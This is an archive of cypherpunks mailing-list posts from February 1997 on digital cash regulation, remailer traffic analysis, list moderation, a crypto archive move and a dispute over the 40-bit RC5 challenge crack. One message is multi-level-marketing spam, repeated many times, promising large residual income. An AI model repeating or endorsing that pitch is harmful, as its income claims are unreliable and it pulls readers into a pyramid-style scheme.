Ben Samman..................................................ben@edelweb.fr
Paris, France                      Illudium Q36 Explosive Space Modulator






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 6 Feb 1997 12:42:57 -0800 (PST)
To: Derrick Storren <cypherpunks@toad.com
Subject: Re: FinCEN hates cybercash, who 'da thunk it...
In-Reply-To: <199702061922.LAA28357@toad.com>
Message-ID: <3.0.1.32.19970206154731.0078ee50@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>But Stanley Morris of the United States Treasury, who chaired a FAFT
>working group which drafted the report, told a news conference that 
>law enforcement agencies would face 'very major new challenges' if new
>technology moves the world "to a cashless society, beyond banks, cash
>and borders."

Oh No!  First they told us that they were all in favor of a cashless society
because they could track all the transactions.  It was their Orwellian
Dream.  Now Nirvana has almost arrived and they're afraid of it.  Can't
they make up their minds?

I noticed the problem long about 1975 when I noticed that the spread of
ATM cards was actually the spread of a bearer instrument and would
not satisfy the control needs of the regulatory types.

DCF
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Version: 4.5

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9ng7MxOn4fYOWSzcP2TnNOjq5rc6IA2ROahGD2OHkHPYp8bjS36ssbu1GmGbHofQ
pvkUXNxrdIk=
=VKtO
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Thu, 6 Feb 1997 13:48:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Why am I being completely censored"?
In-Reply-To: <199702062102.NAA29965@toad.com>
Message-ID: <vpk9olip39.fsf@sten.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> John Gilmore writes:

JG> Hmm.  Your message that I just received, about this problem, was
JG> cc'd to cypherpunks.  It did not make it into the
JG> cypherpunks-unedited list.  In examining the message header
JG> itself, there is an "Approved: yes" line.  My guess is that your
JG> attempt to be too tricky has screwed you.

	It appears that this was the problem.  Deal with a
self-moderated newsgroup, and ent up with self-censorship.  *shrug*.
I wish that John had helped to resolve the problem before I made it
public, but that's life.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
ObCDABait:      For she doted upon their paramours, whose flesh is as the
flesh of asses, and whose issue is like the issue of horses.  [Eze 23:20]
ObFelony: President Clinton, you suck, and those boys died!
Unsolicited bulk email will be stored and handled for a US$500/KB fee.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: markh@wimsey.bc.ca (Mark C. Henderson)
Date: Thu, 6 Feb 1997 15:56:33 -0800 (PST)
To: cryptography@c2.net
Subject: Wimsey cryptography archive is moving to Mindlink
Message-ID: <m0vsdfv-0000NRC@vanbc.wimsey.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Subject: Wimsey cryptography archive is moving to Mindlink

The Wimsey cryptography archive at ftp://ftp.wimsey.com/pub/crypto is moving
to MIND LINK (http://www.mindlink.net). 

You can now access the contents of the cryptography archive at its new location
ftp://ftp.mindlink.net/pub/crypto

The archive has been at Wimsey for about five years. I'd like to thank
the folks at Wimsey for providing disk space, bandwidth, technical
expertise, and for supporting the distribution of ~140MB of cryptography 
papers and software on the Internet.

As with Wimsey, MIND LINK is providing disk space and bandwidth 
for the archive at no charge to me or the users of the archive.
Thanks should go to MIND LINK for providing this as a service to
the Internet community.

Two small notes:
1. I assume sole responsibility for the contents of the archive. The
   folks at MIND LINK are generously providing facilties at no charge
   above their usual access fees, but they are not necessarily even 
   aware of the exact contents of the archive. My only connection with 
   MIND LINK is as a customer. 

2. Please do not attempt to use the MIND LINK crypto archive to violate
   the laws of the U.S. or Canada. Distribution of cryptographic software
   is limited to U.S./Canadian persons in the U.S./Canada. All access to 
   the site is logged.

Any problems or questions? Please feel free to contact me at 
mark_henderson@mindlink.net 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv

iQCVAwUBMvptauI11LPFgBXjAQGw7AQAgYTIUjU/6O40gTgFvhtDrBMc+TEaWW2x
2sHdk0QYRPJ2uGwoQA7psbHh2r6eu/6NqKCmKALTnZ1caWDcZLKsiLyDHQKwSGQV
EK/+xnXqnb87MJfCGL5deDLCUOIo2UupFttCxd6EAdD8Dt670WT+Oe3Q9acrnmIM
Lr+wyuw8WS8=
=NilL
-----END PGP SIGNATURE-----

-- 
Mark Henderson -- markh@wimsey.bc.ca, mark_henderson@mindlink.net
PGP Key Fingerprint: 21 F6 AF 2B 6A 8A 0B E1  A1 2A 2A 06 4A D5 92 46
http://www.squirrel.com/squirrel/ - change-sun-hostid, unstrip for Solaris, 
computer security, TECO, FGMP, Sun NVRAM/hostid FAQ, MIND LINK crypto archive




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 6 Feb 1997 16:07:34 -0800 (PST)
To: "Scott V. McGuire" <svmcguir@syr.edu>
Subject: Re: mail-to-news fun
In-Reply-To: <199702061921.LAA28330@toad.com>
Message-ID: <3.0.1.32.19970206160606.00642a10@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:01 PM 2/6/97 -0500, Scott V. McGuire wrote:
>On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:
>> People don't read mail headers or disclaimers at the bottom,
>> and putting disclaimers like that into message text for
>> email exposes the message to traffic analysis.)

>How does putting it in the message expose it to traffic analysis but not
>putting it in a header?

Suppose you're sending a message on a remailer chain of
you -> Alice->Bob->Charlie->Dave->Eve->Fred--> target
and Bob puts lots of disclaimers in his remailer's outgoing messages.
Anything Bob puts in a header will get stripped out by Charlie,
so it's no problem.  However, if Bob tacks a disclaimer
as the bottom text in the outgoing message, when Eve sends
mail to Fred she'll also see the disclaimer that
	The message was sent by an anonymous user
	through the remailer at Bob's Remailer Shack.
	Bob doesn't know who sent it, and doesn't keep records,
	so he can't squash the user, but he can block mail to you
	if you don't want any more anonymous email.
	Don't believe everything you read!
so she'll know to check the FBI Illegal Wiretap files for Bob.

Some comments and backtracking
0) Of course, if you want to avoid traffic analysis,
sending unencrypted email is pretty stupid, and only the
next hop is going to see a disclaimer that you append 
after the encrypted part of the message.

1) Prepending the disclaimer to the message body is
pretty unfriendly to the :: syntax, and not all that
great for PGP encrypted messages either.  Pretend I 
really just suggested appending it at the end,
since that's what I would have said if I'd been thinking :-)

On the other hand, I suppose that you can see whether the
next hop is a Type I remailer by looking for the :: or ##.

2) Cutmarks would be a nice fix, but they require too much
attention to detail to get right, in case the next hop
is a remailer.

So maybe you _should_ always put in the disclaimer,
at the end, with a reminder to always encrypt your
remailer-chain mail if you want to avoid traffic analysis :-)





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Thu, 6 Feb 1997 13:17:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: 40-bit RC5 crack meaningless??
Message-ID: <v03007806af1ff955a4a2@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain


(A gem off sci.crypt. Schwartau's mailing list is turning into the most
amazing source of misinformation or disinformation about cryptography on
the Net.  And he's probably got the most influential audience in Washington
re crypto policy. Go figure;-)
----------------
Subject: 40-bit RC5 crack meaningless??
 Date: 6 Feb 1997 11:43:58 -0500
 From: nobody@REPLAY.COM (Anonymous)
Organization: Replay and Company UnLimited
Newsgroups:  sci.crypt


Strassmann, the author of this denunciation of RSADS and
Ian Goldberg, is the former Director of Defense Information
(i.e., CIO,) of the Bush DoD and an often-insightful commentator
on business culture and computing.  Strange is the logic that
channels the mind of the American Defense Intellectual... or,
maybe he just doesn't know squat about cryptography???

(Reposted from Infowar Digest, Winn Schwartau's
moderated mailing list <mail to: infowar@infowar.com>
without permission.)

>Date: Thu, 30 Jan 1997 20:10:36 -0500
>To: "Wright Larry" <Wright_Larry@bah.com>
>From: "Paul A. Strassmann" <paul@strassmann.com>
>Subject: Further to Goldberg's Cracking Accomplishments
>Gentlemen:
>
>As I suspected (see earlier private comment), the
>highly promoted RSA cracking contest offered
>a number of clues that ordinarly would not be
>volunteered by  info-terrorists or info-criminals to
>IW Defense teams.
>
>These clues made the cracking significantly easier,
>because it made it possible to eliminate an enormous
>range of possible searches.
>
>The following was extracted verbatim from the
><The RSA Data Security Secret-Key Challenge>
>posted on <http://www.rsa.com/rsalabs/97challenge/>:
>
>Clue #1:
>
>  " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge
>will use 12-round RC5 with a 32-bit word size. "
>
>Clue #2:
>
>  " ...The first RC5 contest will consist of some unknown plaintext
>encrypted using a 40-bit key;."
>
>Clue #3: (a  giveway!)
>
> " ... For each contest, the unknown plaintext message is preceded by three
>   known blocks of text that contain the 24-character phrase "The
>   unknown message is:  .....".
>
>In summary: The claim of exportable cryptography being totally
>insecure, because it can be cracked in 3.5 hours is not
>realistic. The three clues announced in the contest
>would not apply  under infowar conditions.
>
>What other clues may have been provided to Goldberg
>to  support private agendas and gain shrill headlines
>is also a matter of speculation, but I rest my case.
>
>I certainly cannot assert that a 40 bit key cannot be decyphered.
>However, I do not think that the RSA unqualified claims
>offer full and appropriate disclosure.
>
>Paul
>
>At 10:21 AM -0500 1/30/97, Wright Larry wrote:
>>Following provided for your information.
>>
>>
>>EXPORTABLE CRYPTOGRAPHY TOTALLY INSECURE: CHALLENGE
>>CIPHER BROKEN IMMEDIATELY
>>
>>January 28, 1997 - Ian Goldberg, a UC Berkeley graduate
>>student, announced today that he had successfully
>>cracked RSA Data Security Inc.'s 40-bit challenge cipher
>>in just under 3.5 hours.
>>
>>RSA challenged scientists to break their encryption
>>technology, offering a $1000 award for breaking the
>>weakest version of the code.  Their offering was
>>designed to stimulate research and practical experience
>>with the security of today's codes.
>>
>>The number of bits in a cipher is an indication of the
>>maximum level of security the cipher can provide.  Each
>>additional bit doubles the potential security level of
>>the cipher.  A recent panel of experts recommended
>>using 90-bit ciphers, and 128-bit ciphers are commonly
>>used throughout the world, but US government regulations
>>restrict exportable US products to a mere 40 bits.
>>
>>Goldberg's announcement, which came just three and a
>>half hours after RSA started their contest, provides
>>very strong evidence that 40-bit ciphers are totally
>>unsuitable for practical security.  "This is the
>>final proof of what we've known for years: 40-bit
>>encryption technology is obsolete," Goldberg said.

<...Rest of the nnouncement from UC Berkeley snipped>

>Paul A. Strassmann
>55 Talmadge Hill Road, New Canaan, CT. 06840
>Telephone: 203-966-5505; Fax: 203-966-5506
>INTERNET:                  paul@strassmann.com
>WorldwideWeb:           http://www.strassmann.com
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Thu, 6 Feb 1997 14:55:37 -0800 (PST)
To: Remailer Operators <cypherpunks@toad.com>
Subject: Updated type2.list/pubring.mix
Message-ID: <Pine.BSI.3.95.970206165218.16162E-100000@alpha>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I have just updated the type2.list/pubring.mix combination on jpunix.com.
This change reflects the retirement of the lead remailer. The files are
available by anon FTP from ftp.jpunix.com as well as by Web from
www.jpunix.com.

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.


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3dc5iLDuZ94=
=pAwB
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: starvino@gte.net
Date: Thu, 6 Feb 1997 14:59:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Kool! Klassy! Klever!
Message-ID: <199702062259.QAA13344@smtp.gte.net>
MIME-Version: 1.0
Content-Type: text/plain


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

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For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
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This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 6 Feb 1997 17:24:21 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: "Why am I being completely censored"?
In-Reply-To: <199702062312.PAA02488@toad.com>
Message-ID: <3.0.1.32.19970206172229.00634188@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:47 PM 2/6/97 -0600, Firebeard wrote:
>>>>>> John Gilmore writes:
>
>JG> Hmm.  Your message that I just received, about this problem, was
>JG> cc'd to cypherpunks.  It did not make it into the
>JG> cypherpunks-unedited list.  In examining the message header
>JG> itself, there is an "Approved: yes" line.  My guess is that your
>JG> attempt to be too tricky has screwed you.
>
